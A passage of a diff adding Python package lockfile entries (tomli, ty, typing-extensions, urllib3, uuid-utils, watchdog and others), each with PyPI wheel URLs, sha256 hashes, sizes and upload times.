"https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "ty" +version = "0.0.55" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/08/48/f687c8d268e3581f2f104d1f2ac5944d5b5e841b3695c613b3f263e5bbf7/ty-0.0.55.tar.gz", hash = "sha256:88ca87073825a79a8327c550efcc86cec94344890244c5946f84c9e44a969f31", size = 6040230, upload-time = "2026-06-27T00:27:29.385Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/a3/1a90ba7e5a61c6d09adb92346ddba97668095fc257b577af433e5ac4f404/ty-0.0.55-py3-none-linux_armv6l.whl", hash = "sha256:31e83eef512d066542fe990fe1a3b814423abd1616376c54e48af7045b3e1749", size = 11677249, upload-time = "2026-06-27T00:26:52.18Z" }, + { url = "https://files.pythonhosted.org/packages/82/3a/669f9aa478c38243e213a2684db1502086026cfadc15bb1b29b7cbde030d/ty-0.0.55-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ab4bca857950608fea73e269e2da369d43e6467131de85160d68e2fa466fa248", size = 11444180, upload-time = "2026-06-27T00:26:54.576Z" }, + { url = "https://files.pythonhosted.org/packages/15/a4/6a4b2507a53ce6530c66c5b4fe0d58551eb1748ffa9e0696c32fdd55bbd4/ty-0.0.55-py3-none-macosx_11_0_arm64.whl", hash = "sha256:55032bfd31bf2c5355ee81bdc6407b144a1cc7ee41e5681dd1368e4cef2ba327", size = 10963134, upload-time = "2026-06-27T00:26:57.348Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ae/a3b1a0f1cc83b7d258662cb98aa80a720c2e671d0e8fa0d17a4d5d057a7a/ty-0.0.55-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef1e049f69ce65b3c269af67624607f435e1c32319786c1e453ef9611502f295", size = 11493517, upload-time = "2026-06-27T00:26:59.26Z" }, + { url = "https://files.pythonhosted.org/packages/0d/9f/311ce39065a979ef40a9b847f685c8e02464e53adf1671e081eea90640ca/ty-0.0.55-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:631409975c681d5a280fc5a99b7b32e9e801f33be7567c6b42ec331362f59d7d", size = 11460590, upload-time = "2026-06-27T00:27:01.425Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8f/3bf29aa77bd78aae48275153135a2052fa7d3ccdf1ecabeb99c8773abd66/ty-0.0.55-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e08cb0436e68b9351555ae8f2697138c9009b4d5b4ae4272232988b2a431a98f", size = 12098430, upload-time = "2026-06-27T00:27:03.596Z" }, + { url = "https://files.pythonhosted.org/packages/bc/6e/e88411a88240b94640bba06fb6d0d92b247fbeef47ee2bc71f39e58c2558/ty-0.0.55-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:16c215ad9f823829409b94ee188cfaa4563f6e1384f6ce3fecb1db75f6c7cf7c", size = 12673086, upload-time = "2026-06-27T00:27:05.589Z" }, + { url = "https://files.pythonhosted.org/packages/6c/7e/8f1762fb7f9245a68ba5ae338d73c59403ce57554e5d311b8bb55027b0ec/ty-0.0.55-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b510eb8f4032baf11b7aee2f1d53babc3b4ca03939b9cdcf6a9d15761d575188", size = 12242559, upload-time = "2026-06-27T00:27:07.714Z" }, + { url = "https://files.pythonhosted.org/packages/72/1f/143657daf2670d977dac83435f1fe03d4843efb798d8e1e75950e541aadd/ty-0.0.55-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ddc05e7959709c3b9b83aa627128a80446865e3c1a4882638dcff6d776dc34a", size = 12021409, upload-time = "2026-06-27T00:27:09.881Z" }, + { url = "https://files.pythonhosted.org/packages/6d/30/69487c439dd1fad3a4a3d96f0a472193de297eaba6fc4b8ea687ce434ac2/ty-0.0.55-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:636e8e5078787b8c6916c94e1406719f10189a4ca6b37b813a5922ce5857a8c7", size = 12303807, upload-time = "2026-06-27T00:27:11.986Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ca/cd88b6493dafc7db077f5e17c0438eb3af6e2d6d08f616dbb52a8ddfd567/ty-0.0.55-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:ef7d6deaacb73fec603666b5471f1dc5a5699aa84e11a6d4d644dd07ca72121e", size = 11441263, upload-time = "2026-06-27T00:27:14.087Z" }, + { url = "https://files.pythonhosted.org/packages/aa/fe/66b6915671653ab739f71e4f1b0528e69da64429b7ebf3840c625b6e43f2/ty-0.0.55-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:9aeea0fe5875d3cf37faf0e44d0fdf9669335467749741b8fc0103916fb5cd32", size = 11484584, upload-time = "2026-06-27T00:27:16.311Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4f/7a9c0bbac8b899e9f6c0ec110c6612f52e4db35f6bb17ddc0ef60384fa3e/ty-0.0.55-py3-none-musllinux_1_2_i686.whl", hash = "sha256:0b699c01310dbd2705a07c97c5f4aaeedef61bd9adeea2e7c46aed32401d3576", size = 11759309, upload-time = "2026-06-27T00:27:18.471Z" }, + { url = "https://files.pythonhosted.org/packages/ca/de/b6f8b1b69aa631b5716ef3f985c3b56de0e46c2499cc00d30c402b41f714/ty-0.0.55-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:32cbeba543e46de2a983ec6d525d8b56514f7422bd1e1b57c44ccf7bfa72c38a", size = 12128755, upload-time = "2026-06-27T00:27:20.55Z" }, + { url = "https://files.pythonhosted.org/packages/7d/90/a912531e51ee7e076b42972479290fa687c0f5e747b7e773f3033164acaa/ty-0.0.55-py3-none-win32.whl", hash = "sha256:52b968e24eb4f7a5c3bd251db1f99f60dd385890356d38fc619d84f1b423446a", size = 11117501, upload-time = "2026-06-27T00:27:22.714Z" }, + { url = "https://files.pythonhosted.org/packages/4c/7a/99d59843bf8908a7f9f4d13fda107dbad07b7faa28ecd7860eacf363fb1c/ty-0.0.55-py3-none-win_amd64.whl", hash = "sha256:bf39cbfdc0add44d94bd3fff1f53c351418d134b6a66b87efdb7876d7b7a2224", size = 12150106, upload-time = "2026-06-27T00:27:24.881Z" }, + { url = "https://files.pythonhosted.org/packages/b3/44/20987505cedf2a865b08482f0eabc181fd9599b062964057ec8a128a4296/ty-0.0.55-py3-none-win_arm64.whl", hash = "sha256:f7f3700a9a060e8f1af11e4fb63fafcaf272b041781f4ccdfda2b3b5c6c1e439", size = 11560157, upload-time = "2026-06-27T00:27:27.332Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "tzdata" +version = "2025.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5e/a7/c202b344c5ca7daf398f3b8a477eeb205cf3b6f32e7ec3a6bac0629ca975/tzdata-2025.3.tar.gz", hash = "sha256:de39c2ca5dc7b0344f2eba86f49d614019d29f060fc4ebc8a417896a620b56a7", size = 196772, upload-time = "2025-12-13T17:45:35.667Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/b0/003792df09decd6849a5e39c28b513c06e84436a54440380862b5aeff25d/tzdata-2025.3-py2.py3-none-any.whl", hash = "sha256:06a47e5700f3081aab02b2e513160914ff0694bce9947d6b76ebd6bf57cfc5d1", size = 348521, upload-time = "2025-12-13T17:45:33.889Z" }, +] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/8a/17b11768dcb473d3a255c02ffdd94fbd1b345c906efea0a39124dcbaed52/uuid_utils-0.13.0.tar.gz", hash = "sha256:4c17df6427a9e23a4cd7fb9ee1efb53b8abb078660b9bdb2524ca8595022dfe1", size = 21921, upload-time = "2026-01-08T15:48:10.841Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/85/b8/d40848ca22781f206c60a1885fc737d2640392bd6b5792d455525accd89c/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:83628283e977fb212e756bc055df8fdd2f9f589a2e539ba1abe755b8ce8df7a4", size = 602130, upload-time = "2026-01-08T15:47:34.877Z" }, + { url = "https://files.pythonhosted.org/packages/40/b9/00a944b8096632ea12638181f8e294abcde3e3b8b5e29b777f809896f6ae/uuid_utils-0.13.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c47638ed6334ab19d80f73664f153b04bbb04ab8ce4298d10da6a292d4d21c47", size = 304213, upload-time = "2026-01-08T15:47:36.807Z" }, + { url = "https://files.pythonhosted.org/packages/da/d7/07b36c33aef683b81c9afff3ec178d5eb39d325447a68c3c68a62e4abb32/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_aarch64.whl", hash = "sha256:b276b538c57733ed406948584912da422a604313c71479654848b84b9e19c9b0", size = 340624, upload-time = "2026-01-08T15:47:38.821Z" }, + { url = "https://files.pythonhosted.org/packages/7d/55/fcff2fff02a27866cb1a6614c9df2b3ace721f0a0aab2b7b8f5a7d4e4221/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_armv7l.whl", hash = "sha256:bdaf2b77e34b199cf04cde28399495fd1ed951de214a4ece1f3919b2f945bb06", size = 346705, upload-time = "2026-01-08T15:47:40.397Z" }, + { url = "https://files.pythonhosted.org/packages/41/48/67438506c2bb8bee1b4b00d7c0b3ff866401b4790849bf591d654d4ea0bc/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_i686.whl", hash = "sha256:eb2f0baf81e82f9769a7684022dca8f3bf801ca1574a3e94df1876e9d6f9271e", size = 366023, upload-time = "2026-01-08T15:47:42.662Z" }, + { url = "https://files.pythonhosted.org/packages/8b/d7/2d91ce17f62fd764d593430de296b70843cc25229c772453f7261de9e6a8/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_ppc64le.whl", hash = "sha256:6be6c4d11275f5cc402a4fdba6c2b1ce45fd3d99bb78716cd1cc2cbf6802b2ce", size = 471149, upload-time = "2026-01-08T15:47:44.963Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9a/aa0756186073ba84daf5704c150d41ede10eb3185d510e02532e2071550e/uuid_utils-0.13.0-cp39-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:77621cf6ceca7f42173a642a01c01c216f9eaec3b7b65d093d2d6a433ca0a83d", size = 342130, upload-time = "2026-01-08T15:47:46.331Z" }, + { url = "https://files.pythonhosted.org/packages/74/b4/3191789f4dc3bed59d79cec90559821756297a25d7dc34d1bf7781577a75/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9a5a9eb06c2bb86dd876cd7b2fe927fc8543d14c90d971581db6ffda4a02526f", size = 524128, upload-time = "2026-01-08T15:47:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/b2/30/29839210a8fff9fc219bfa7c8d8cd115324e92618cba0cda090d54d3d321/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:775347c6110fb71360df17aac74132d8d47c1dbe71233ac98197fc872a791fd2", size = 615872, upload-time = "2026-01-08T15:47:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/99/ed/15000c96a8bd8f5fd8efd622109bf52549ea0b366f8ce71c45580fa55878/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf95f6370ad1a0910ee7b5ad5228fd19c4ae32fe3627389006adaf519408c41e", size = 581023, upload-time = "2026-01-08T15:47:52.776Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/3f809fa2dc2ca4bd331c792a3c7d3e45ae2b709d85847a12b8b27d1d5f19/uuid_utils-0.13.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:5a88e23e0b2f4203fefe2ccbca5736ee06fcad10e61b5e7e39c8d7904bc13300", size = 546715, upload-time = "2026-01-08T15:47:54.415Z" }, + { url = "https://files.pythonhosted.org/packages/f5/80/4f7c7efd734d1494397c781bd3d421688e9c187ae836e3174625b1ddf8b0/uuid_utils-0.13.0-cp39-abi3-win32.whl", hash = "sha256:3e4f2cc54e6a99c0551158100ead528479ad2596847478cbad624977064ffce3", size = 177650, upload-time = "2026-01-08T15:47:55.679Z" }, + { url = "https://files.pythonhosted.org/packages/6c/94/d05ab68622e66ad787a241dfe5ccc649b3af09f30eae977b9ee8f7046aaa/uuid_utils-0.13.0-cp39-abi3-win_amd64.whl", hash = "sha256:046cb2756e1597b3de22d24851b769913e192135830486a0a70bf41327f0360c", size = 183211, upload-time = "2026-01-08T15:47:57.604Z" }, + { url = "https://files.pythonhosted.org/packages/69/37/674b3ce25cd715b831ea8ebbd828b74c40159f04c95d1bb963b2c876fe79/uuid_utils-0.13.0-cp39-abi3-win_arm64.whl", hash = "sha256:5447a680df6ef8a5a353976aaf4c97cc3a3a22b1ee13671c44227b921e3ae2a9", size = 183518, upload-time = "2026-01-08T15:47:59.148Z" }, + { url = "https://files.pythonhosted.org/packages/99/fa/1d92de9538463859228e68db679b766fd300770c9a2db849dcba0c0c5a57/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e5182e2d95f38e65f2e5bce90648ef56987443da13e145afcd747e584f9bc69c", size = 587641, upload-time = "2026-01-08T15:48:00.433Z" }, + { url = "https://files.pythonhosted.org/packages/ca/07/6bd9e6f5367e38c2ee7178ad882d2bd1b0d17c5393974b09ab027a215eba/uuid_utils-0.13.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:e3909a8a1fbd79d7c8bdc874eeb83e23ccb7a7cb0aa821a49596cc96c0cce84b", size = 298273, upload-time = "2026-01-08T15:48:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/14/7061b868a8a6799c8df83768a23f313d4e22075069f01ee3c28fa82aa2c6/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.whl", hash = "sha256:5dc4c9f749bd2511b8dcbf0891e658d7d86880022963db050722ad7b502b5e22", size = 333618, upload-time = "2026-01-08T15:48:03.503Z" }, + { url = "https://files.pythonhosted.org/packages/bc/f1/f48c3c9c343c9071ade5f355403e344d817412d9cf379a2d04b181282e74/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_armv7l.whl", hash = "sha256:516adf07f5b2cdb88d50f489c702b5f1a75ae8b2639bfd254f4192d5f7ee261f", size = 339104, upload-time = "2026-01-08T15:48:05.02Z" }, + { url = "https://files.pythonhosted.org/packages/47/22/8e3142b4baffee77ce533fe956446d3699ec42f1d5252911208cbef4501e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_i686.whl", hash = "sha256:aeee3bd89e8de6184a3ab778ce19f5ce9ad32849d1be549516e0ddb257562d8d", size = 359503, upload-time = "2026-01-08T15:48:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/bd/1a/756f1f9e31b15019c87cd2becb1c596351c50967cd143443da38df8818d1/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_ppc64le.whl", hash = "sha256:97985256c2e59b7caa51f5c8515f64d777328562a9c900ec65e9d627baf72737", size = 467480, upload-time = "2026-01-08T15:48:07.681Z" }, + { url = "https://files.pythonhosted.org/packages/0a/20/a6929e98d9a461ca49e96194a82a1cc3fd5420f3a2f53cbb34fca438549e/uuid_utils-0.13.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:b7ccaa20e24c5f60f41a69ef571ed820737f9b0ade4cbeef56aaa8f80f5aa475", size = 333610, upload-time = "2026-01-08T15:48:09.375Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = 